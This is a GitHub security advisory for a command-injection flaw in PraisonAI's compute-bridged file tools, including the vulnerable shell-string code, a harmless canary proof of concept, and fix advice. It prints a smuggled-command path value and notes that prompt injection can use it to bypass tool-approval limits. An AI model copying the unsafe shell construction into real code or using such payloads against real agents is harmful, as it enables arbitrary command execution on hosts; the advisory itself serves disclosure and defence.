Skip to content

PraisonAI: Compute-bridged file tools allow shell command injection

High severity GitHub Reviewed Published Jun 17, 2026 in MervinPraison/PraisonAI • Updated Jul 20, 2026

Package

pip praisonai (pip)

Affected versions

>= 4.6.10, <= 4.6.58

Patched versions

4.6.59

Description

Compute-bridged file tools allow shell command injection

Summary

LocalManagedAgent / SandboxedAgent compute bridging wraps
read_file, list_files, and write_file when a compute provider is
attached. The bridge converts those file operations into shell command strings
using raw path arguments, then sends those strings to shell-backed compute
providers.

An attacker who can influence a file-tool path argument can break out of the
quoted path and execute arbitrary shell commands in the compute environment.
With compute="local", commands execute through the local subprocess compute
provider on the host. With Docker, commands execute in the container.

Affected Product

  • Repository: MervinPraison/PraisonAI
  • Package: praisonai
  • Component: src/praisonai/praisonai/integrations/managed_local.py
  • Confirmed affected:
    • v4.6.10
    • v4.6.56
    • v4.6.57
    • current main at 2f9677abb2ea68eab864ee8b6a828fd0141612e1
  • Confirmed not affected:
    • v4.6.9
    • v4.6.1
    • v4.5.149
  • Suggested affected range: >= 4.6.10, <= 4.6.57

Root Cause

Current managed_local.py defines the bridged tool set:

compute_bridged_tools = {"execute_command", "read_file", "write_file", "list_files"}

For file tools, _bridge_file_tool() constructs shell command strings:

command = f'cat "{filepath}"'
command = f'ls -la "{directory}"'
command = f'cat > "{filepath}" << "EOF"\n{content}\nEOF'

The local compute provider executes the string with
asyncio.create_subprocess_shell(...); the Docker compute provider executes it
with ["sh", "-c", command].

The bridge keeps the low-risk read_file / list_files tool names and
signatures while changing their execution primitive into shell interpretation.

Why This Is Not Intended Behavior

Compute bridging itself is documented and intentional. The vulnerability is
that file path data is interpreted as shell syntax.

The normal read_file and list_files implementations treat the same payload
as a literal path and do not expand shell metacharacters. The approval registry
also marks execute_command as critical, while read_file and list_files
are not dangerous-tool entries.

Impact

An application that exposes a PraisonAI agent using LocalManagedAgent or
SandboxedAgent with a compute provider and a restricted file-tool set can be
tricked into executing shell commands through a path argument to read_file or
list_files.

This can bypass least-privilege tool configuration and tool-approval
expectations. A prompt-injection path, chat endpoint, automation webhook, or
other user-controlled agent task can supply the file path argument without the
operator granting execute_command.

Local PoV

The PoV is local-only and harmless. It uses an environment canary and compares
normal file tools against compute-bridged file tools.

Minimal inline reproducer:

import os
from pathlib import Path

from praisonai.integrations.managed_local import LocalManagedAgent, LocalManagedConfig
from praisonaiagents.tools import list_files, read_file

workdir = Path(".prai-cand-006-pov-workdir")
workdir.mkdir(exist_ok=True)
(workdir / "safe.txt").write_text("SAFE_CONTENT\n", encoding="utf-8")

canary = "PRAISONAI_CAND_006_COMMAND_EXECUTED"
os.environ["PRAI_CAND_006_CANARY"] = canary
payload = 'missing"; printf "$PRAI_CAND_006_CANARY"; #'

# Control: normal file tools treat the payload as a literal path.
normal_read = read_file(str(workdir / payload))
normal_list = str(list_files(str(workdir) + '"; printf "$PRAI_CAND_006_CANARY"; #'))

cfg = LocalManagedConfig(
    name="prai-cand-006-poc",
    tools=["read_file", "list_files"],
    working_dir=str(workdir),
)
managed = LocalManagedAgent(config=cfg, compute="local")
tools = {tool.__name__: tool for tool in managed._resolve_tools()}

bridged_read = tools["read_file"](payload)
bridged_list = tools["list_files"]('."; printf "$PRAI_CAND_006_CANARY"; #')

print("normal_read_contains_canary", canary in normal_read)
print("normal_list_contains_canary", canary in normal_list)
print("bridged_read_contains_canary", canary in bridged_read)
print("bridged_list_contains_canary", canary in bridged_list)

Command:

python3 \
  submission-bundle/praisonai-prai-cand-006-compute-file-tool-command-injection/poc/prai_cand_006_compute_file_tool_command_injection.py \
  --repo artifacts/repos/praisonai-current

Current-head result:

{
  "describe": "v4.6.57-4-g2f9677ab",
  "vulnerable": true,
  "normal_controls": {
    "read_file_payload_contains_canary": false,
    "list_files_payload_contains_canary": false
  },
  "bridged_results": {
    "read_file_payload_contains_canary": true,
    "list_files_payload_contains_canary": true
  },
  "approval_registry": {
    "execute_command_risk": "critical",
    "read_file_risk": null,
    "list_files_risk": null
  }
}

The payload used by the PoV is:

missing"; printf "$PRAI_CAND_006_CANARY"; #

Normal read_file treats this as a literal missing filename. The bridged tool
constructs:

cat "missing"; printf "$PRAI_CAND_006_CANARY"; #"

and returns the canary from the compute shell.

Suggested Fix

Do not implement file operations by constructing shell command strings from
path/content arguments.

Preferred fix:

  1. Add provider-native file APIs for read, write, and list operations, or pass
    arguments as structured argv where the provider supports it.
  2. Preserve the normal file-tool path validation and workspace boundary checks
    for compute-bridged file tools.
  3. Treat write_file content as data, not shell source. The current heredoc
    construction is also unsafe if content can contain the delimiter.
  4. Add regression tests that use paths containing ", ;, $(), backticks,
    newline, and # and assert no shell execution occurs.
  5. Keep execute_command as the only bridge path that intentionally accepts a
    shell command string, with critical approval semantics.

A minimal stopgap is to remove read_file, list_files, and write_file from
compute_bridged_tools until safe provider-native file operations exist.

Suggested Severity

The vector assumes an attacker has low-privilege access to an agent interface
that can request file-tool use. If a deployment exposes such an agent without
authentication, PR:N may be appropriate.

References

@MervinPraison MervinPraison published to MervinPraison/PraisonAI Jun 17, 2026
Published to the GitHub Advisory Database Jun 18, 2026
Reviewed Jun 18, 2026
Last updated Jul 20, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

EPSS score

Weaknesses

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. Learn more on MITRE.

Incorrect Authorization

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. Learn more on MITRE.

CVE ID

CVE-2026-57117

GHSA ID

GHSA-w6h2-fr4q-xvxv

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.